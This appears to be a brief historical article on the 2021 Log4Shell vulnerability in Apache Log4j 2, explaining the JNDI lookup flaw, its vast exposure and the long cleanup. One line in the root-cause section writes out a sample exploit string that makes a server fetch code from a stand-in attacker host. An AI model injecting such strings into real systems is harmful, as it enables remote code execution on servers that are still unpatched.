Log4Shell
A logging library used by half the internet would execute any code you wrote into a chat message. The fix took the world a weekend; the cleanup took years.
On December 9, 2021, a proof-of-concept for a vulnerability in Apache Log4j 2 — a Java logging library so ubiquitous it was effectively invisible — began circulating. The bug, designated CVE-2021-44228 and quickly nicknamed Log4Shell, allowed remote code execution triggered by something as trivial as a string in a log line.
A feature, weaponized
The root cause was a feature. Log4j supported message lookups, including a
JNDI lookup that could resolve a value from a remote directory service. An
attacker who could get a string of the form ${jndi:ldap://attacker/x}
into anything the application logged — a username field, a User-Agent
header, a chat message, a Minecraft message box — could make the target
server fetch and execute attacker-controlled code.
The exposure was almost unbounded. Log4j was a transitive dependency of an enormous fraction of enterprise Java software, often several layers deep in build manifests nobody had read in years. Defenders spent the weekend trying to enumerate where the library even was before they could patch it.
A long tail
Patching Log4j the direct dependency was straightforward. Finding every shaded, repackaged, vendored, and forgotten copy embedded inside appliances and third-party products was not. The US Cyber Safety Review Board's report characterized Log4Shell as an "endemic vulnerability" likely to be present in unpatched systems for a decade.
What the chronicle remembers
Log4Shell was the case that made software bill-of-materials a mainstream demand rather than a security-team aspiration. It demonstrated, at planetary scale, that the internet runs on volunteer-maintained dependencies most of its operators cannot name.